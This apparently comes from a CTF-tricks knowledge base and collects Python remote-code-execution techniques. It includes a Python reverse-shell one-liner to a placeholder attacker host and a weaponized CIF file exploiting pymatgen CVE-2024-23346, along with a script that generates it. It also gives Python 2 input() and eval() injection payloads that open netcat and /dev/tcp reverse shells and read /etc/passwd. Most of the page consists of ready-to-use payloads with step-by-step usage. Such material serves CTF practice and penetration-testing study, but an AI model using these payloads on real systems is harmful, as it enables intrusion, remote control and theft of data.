> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/rce/initial-access-rce-python.md).

# Python

## Jupyter Notebook Python RCE

You can execute arbitrary Python code within a Jupyter Notebook code cell or a terminal opened from the notebook interface. To obtain a reverse shell, use a standard Python payload. This example connects back to your listener on `ATTACKER_IP:ATTACKER_PORT` and spawns a bash shell (works on Linux).

```python
import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP", ATTACKER_PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
```

This Python one-liner works by performing several key steps. First, it imports the necessary modules: `socket` for network communication, `os` for interacting with the operating system, and `pty` for pseudoterminal utilities.

```python
import socket,os,pty
```

It then creates a socket object and connects back to the specified attacker IP and port.

```python
s=socket.socket();s.connect(("ATTACKER_IP", ATTACKER_PORT))
```

The critical part for redirecting standard input, output, and error streams over the socket is handled by duplicating the socket's file descriptor. The `os.dup2(s.fileno(), fd)` call duplicates the file descriptor of the socket (`s.fileno()`) to file descriptors 0 (stdin), 1 (stdout), and 2 (stderr). This means any input sent to the standard streams of the spawned process will come from the socket, and any output or errors will be sent back through the socket.

```python
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
```

Finally, `pty.spawn("bash")` executes the specified program (in this case, `/bin/bash`) in a new pseudoterminal. Using `pty.spawn` is essential for creating a fully interactive shell experience. A standard reverse shell obtained simply by redirecting file descriptors might not support features like tab completion, arrow key navigation, or Ctrl+C. `pty.spawn` handles the complexities of setting up the pseudoterminal, allowing for a more functional and interactive shell session. This technique, involving Python's `pty.spawn` to create an interactive terminal, is a known method for gaining control of a compromised system.

```python
pty.spawn("bash")
```

***

## Pymatgen CIF os.system RCE (CVE-2024-23346)

Craft a Crystallographic Information File (CIF) that exploits a command injection vulnerability in certain versions of the `pymatgen` library when parsing specific tags like `_audit_creation_date`. This vulnerability, identified as CVE-2024-23346, affects pymatgen versions prior to 2023.5.11, 2023.6.27, and 2023.7.5a1. When parsing a CIF file with a specially crafted `_audit_creation_date` value, arbitrary code can be executed.

Embed a Python `os.system()` call within the tag's value containing a reverse shell payload.

Create a file, for example `exploit.cif`, with content similar to this:

```cif
_audit_creation_date "exec(__import__('os').system('/bin/bash -c \\'/bin/bash -i >& /dev/tcp/<<your-ip>>/<<your-port>> 0>&1\\''))"
```

Replace `<<your-ip>>` and `<<your-port>>` with your listener details. The payload uses `exec()` to run `os.system()`, which executes the shell command. Note the careful escaping of quotes required for both the Python string and the shell command within it.

Alternatively, a Python script can be used to generate the malicious CIF content. This script creates a payload that executes python code using `exec()`, which in turn calls `os.system()` to run a reverse shell.

```python
import os
import sys

def generate_cif_payload(ip, port):
    # This payload executes python code using exec()
    # The python code calls os.system() to run a reverse shell
    # The reverse shell uses bash -i >& /dev/tcp/ip/port 0>&1
    # The double quotes are escaped to be included in the CIF string
    payload = f'exec(__import__(\'os\').system(\'/bin/bash -c \\\'/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\\\'\'))'
    cif_content = f'_audit_creation_date "{payload}"'
    return cif_content

def save_cif_file(content, filename="exploit.cif"):
    with open(filename, "w") as f:
        f.write(content)
    print(f"[*] CIF payload saved to {filename}")

def main():
    if len(sys.argv) != 3:
        print("Usage: python generate_exploit_cif.py <attacker_ip> <attacker_port>")
        sys.exit(1)

    ip = sys.argv[1]
    port = sys.argv[2]

    cif_content = generate_cif_payload(ip, port)
    save_cif_file(cif_content)

if __name__ == "__main__":
    main()
```

You can run this script providing your IP and port to generate the `exploit.cif` file.

```bash
python generate_exploit_cif.py <<your-ip>> <<your-port>>
```

Set up a netcat listener on your machine (`nc -lvnp <<your-port>>`). Then, upload or provide this crafted CIF file to the target application that uses the vulnerable `pymatgen` version. Trigger its processing (e.g., by viewing, importing, or analyzing the file) to execute the embedded command and receive a reverse shell.

***

## Python 2 Input RCE

In Python 2, the `input()` function evaluates the user-provided string as a Python expression, similar to `eval(raw_input())`. The `input()` function in Python 2.x takes the input from the user and evaluates it as a Python expression. This is equivalent to `eval(raw_input(prompt))`. This means that whatever the user types is treated as Python code and executed. If a service takes user input using `input()` expecting a simple data type (like a number), an attacker can inject arbitrary Python code.

Consider this simple vulnerable Python 2 program:

```python
# Python 2.x program to demonstrate input() vulnerability

name = input("Enter your name: ")
print "Hello, " + name
```

If the user enters `__import__('os').system('ls')`, the `ls` command will be executed.

To achieve Remote Code Execution, inject a Python expression that calls system commands. For instance, to spawn a reverse shell:

```python
__import__('os').system('nc -e /bin/bash <ATTACKER_IP> <ATTACKER_PORT>')
```

This expression will be evaluated by the `input()` function, executing the command inside `os.system()` before the program attempts to cast the result (which might then fail, but the command has already run). The `eval()` function lets a python program run python code that is provided as a string. The `eval(expression[, globals[, locals]])` function parses and evaluates the expression argument as a Python expression.

The `os` module provides a portable way of using operating system dependent functionality. The `os.system()` method in Python is used to execute system commands or shell commands from within a Python script. It allows you to run external programs or commands from the command-line interface seamlessly. The function `os.system(command)` executes the command (a string) in a subshell. This call is implemented by calling the standard C library function `system()`, and has the same limitations.

For example, to simply run a shell command like `ls` or `dir` depending on the operating system:

```python
import os
os.system('ls -l')
```

or

```python
import os
os.system('dir')
```

The return value of `os.system()` is the exit status of the process encoded in the format specified for the C function `wait()`. The return value of `os.system()` is the exit code of the command. This function is less secure than using functions from the `subprocess` module, which is generally preferred for running external commands. However, in the context of the `input()` vulnerability, the direct execution via `os.system` within the evaluated expression is the mechanism exploited.

***

## Python Eval Code Injection

When a Python application uses `eval()` on user-controlled input, especially if that input is expected within a string literal (e.g., `eval(f'print("{user_input}")')`), you can inject arbitrary Python code.

The core technique is to insert a payload that breaks out of the existing string literal, executes your Python code, and then potentially closes or comments out the remainder of the original string evaluation. If your input is expected within single quotes (`'...'`), a common structure is `' + your_code + '`.

To execute system commands, you can use the `os` module. A simple way is `os.system()`, or if `os` is not directly available in the scope, you can import it using `__import__('os').system()`.

For example, to list directory contents:

```python
os.system('ls')
```

Or using the import method:

```python
__import__('os').system('ls')
```

If the `eval` is within a string, you'll use the string breaking technique:

```python
' + os.system('ls') + '
```

or

```python
' + __import__('os').system('ls') + '
```

You can also use `os.popen()` to execute commands and capture their output using `.read()`:

```python
' + __import__('os').popen('ls').read() + '
```

To read files, you can use the built-in `open()` function or execute a command-line tool like `cat` via `popen`.

Using `builtins.open`:

```python
' + __import__('builtins').open('/etc/passwd').read() + '
```

Using `os.popen('cat ...')`:

```python
' + __import__('os').popen('cat /etc/passwd').read() + '
```

For a reverse shell, you can execute a shell command that connects back to your listener.

Using `os.popen().read()` (as shown previously for commands):

```python
' + __import__('os').popen('bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1').read() + '
```

Using `os.system()`:

```python
' + __import__('os').system('bash -i > /dev/tcp/YOUR_IP/YOUR_PORT 0>&1') + '
```

Remember to replace `YOUR_IP` and `YOUR_PORT` with your listener's details.

Remember to URL encode your payload before sending it, especially in web requests.
